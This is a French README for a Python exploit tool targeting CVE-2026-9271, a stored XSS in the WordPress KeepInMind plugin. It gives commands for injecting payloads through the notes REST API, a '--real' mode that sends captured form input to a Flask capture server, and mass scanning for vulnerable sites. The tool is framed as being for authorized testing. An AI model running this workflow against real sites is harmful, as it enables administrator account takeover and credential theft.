[!IMPORTANT]
Utilisation autorisée uniquement. Cet outil est destiné à la recherche en sécurité, à l'éducation et aux tests sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite pour évaluer. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Table des matières
Vue d'ensemble
CVE-2026-9271 est un problème de cross-site scripting (XSS) stocké dans le plugin WordPress KeepInMind (Dashboard Notes). Une désinfection insuffisante du contenu des notes permet à un utilisateur authentifié à faibles privilèges (Contributeur+) de stocker du HTML/JS qui s'exécute dans le navigateur d'un administrateur, ce qui peut conduire à la compromission de la session administrateur / la prise de contrôle du compte.
KIM-Guardian Pro (CVE-2026-9271.py) est un outil d'évaluation Python pour les testeurs autorisés afin de :
- Détecter les installations de KeepInMind et les plages de versions
- Exécuter une évaluation en mode test sécurisé (marqueur de superposition, aucune capture d'identifiants)
- Scanner en masse des listes d'URL pour détecter la présence du plugin et les versions vulnérables
- Conserver les résultats dans SQLite et des rapports texte dans
reports/
- Exécuter éventuellement une capture locale / interface Web pour des simulations de laboratoire contrôlées
Détails de la vulnérabilité
Surfaces concernées
| Surface | Rôle |
|---|
/wp-json/keepinmind/v1/notes | API REST utilisée pour créer/lire les notes |
/wp-admin/ | Tableau de bord d'administration où les notes stockées peuvent s'afficher |
| Chemin du plugin | /wp-content/plugins/keepinmind-dashboard-notes/ |
Déroulement de l'évaluation (aperçu)
- S'authentifier en tant qu'utilisateur Contributeur+ (lorsque des identifiants sont fournis)
- Confirmer que KeepInMind est installé et enregistrer les versions de WordPress / du plugin
- Injecter une charge utile de test via l'API REST des notes (par défaut)
- Vérifier que le marqueur apparaît à l'endroit où les notes sont rendues
- Nettoyer les notes injectées (sauf avec
--no-cleanup)
- Enregistrer les métadonnées de l'évaluation dans SQLite et un rapport texte
Fonctionnalités
Fonctionnalités principales
Contrôles opérationnels
| Capacité | Description |
|---|
| Journalisation détaillée | Débogage fichier + console dans logs/ |
| Prise en charge du proxy | Achemine le trafic via Burp ou d'autres proxys HTTP |
| Délai d'attente configurable |
Installation
Prérequis
- Python 3.8+
pip
- Connectivité réseau vers la ou les cibles autorisées
Configuration
cd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
Dépendances principales
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
Démarrage rapide
Remplacez https://lab.example par une cible de laboratoire ou autorisée uniquement.
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Guide d'utilisation
1. Afficher l'aide
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
2. Évaluation sécurisée (recommandée)
Le mode par défaut utilise une superposition de test sans capture. Fournissez des identifiants Contributeur+ pour l'injection via l'API REST.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Déroulement :
- Afficher la bannière et créer un ID de charge utile unique
- S'authentifier (si
-u / -p sont fournis)
- Détecter les versions de KeepInMind + WordPress
- Injecter et vérifier le marqueur de test sécurisé
- Nettoyer les notes (sauf avec
--no-cleanup)
- Enregistrer le résultat dans la base de données +
reports/kim_assessment_*.txt
3. Ignorer le nettoyage
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
4. Proxy + délai d'attente
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
5. Simulation d'attaque en laboratoire (environnements autorisés uniquement)
Nécessite une URL de base d'attaque/capture et --real. Préférez garder la capture sur localhost pour les laboratoires.
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Interface de capture (lorsque le serveur est en cours d'exécution) :
| Chemin | Objectif |
|---|
/ | Page de statut du serveur de capture |
/capture | Point de terminaison POST pour les soumissions de formulaires |
/captured | Entrées capturées récentes (revue de laboratoire) |
6. Scan en masse
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Les contrôles en masse incluent généralement les indices WordPress, la version de KeepInMind, l'accessibilité REST et la présence de wp-login.php.
7. Historique de la base de données
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
8. Interface Web
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Se lie à localhost par défaut pour des raisons de sécurité.
Référence des commandes
Général
assess
bulk
capture
| Argument | Défaut | Description |
|---|
--port | 5000 | Port d'écoute |
web
| Argument | Défaut | Description |
|---|
--host | 127.0.0.1 | Adresse de liaison |
--port | 8080 | Port d'écoute |
db
| Argument | Défaut | Description |
|---|
--list | désactivé | Lister les évaluations récentes |
--limit | 10 | Nombre maximal de lignes à afficher |
Résultats et rapports
Console
Statut colorisé pour l'authentification, la détection du plugin, l'injection, la vérification et le nettoyage.
Rapports texte
Les exécutions assess réussies écrivent des fichiers comme :
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
SQLite
| Fichier | Objectif |
|---|
kim_guardian.db | Historique des évaluations (cible, versions, indicateur de vulnérabilité, risque, durée) |
Journaux
| Chemin | Objectif |
|---|
logs/kim_pro_*.log | Journaux d'application par exécution |
Champs du rapport de scan en masse
- URL
- Version de WordPress
- Version du plugin
- Vulnérable (oui/non selon l'heuristique de version)
- REST accessible
- WP-Login accessible
Dépannage
Procédure de débogage
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
Structure du dépôt
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── kim_guardian.db # SQLite assessment history (generated)
├── logs/ # Runtime logs (generated)
├── reports/ # Assessment text reports (generated)
└── venv/ # Local virtualenv (optional)
Historique des versions
v1.0.0 — Version initiale
- Évaluation KeepInMind sur une seule cible pour CVE-2026-9271
- Charge utile de test sécurisée (par défaut) et simulation de capture de laboratoire facultative
- Détection des versions du plugin / WordPress
- Injection, vérification et nettoyage des notes REST
- Scan multi-threadé en masse
- Persistance SQLite + rapports texte
- Serveur de capture et interface Web Flask facultative
- Prise en charge du proxy, du délai d'attente et de la journalisation détaillée
Avis de non-responsabilité
Ce projet est fourni tel quel pour la recherche en sécurité défensive et les tests d'intrusion autorisés.
En utilisant ce logiciel, vous acceptez que :
- Vous ne ciblerez que des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester.
- Vous comprenez les lois applicables en matière d'abus informatique et de protection des données.
- L'auteur et les contributeurs ne sont pas responsables des dommages, des pertes de données ou des conséquences juridiques découlant d'une mauvaise utilisation.
Si vous trouvez ce problème dans des systèmes de production que vous ne possédez pas, suivez une divulgation responsable auprès du propriétaire du site et du mainteneur du plugin.
L'accès non autorisé à des systèmes informatiques est illégal.
Auteur et crédits
Licence
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Pour les tests de sécurité autorisés uniquement.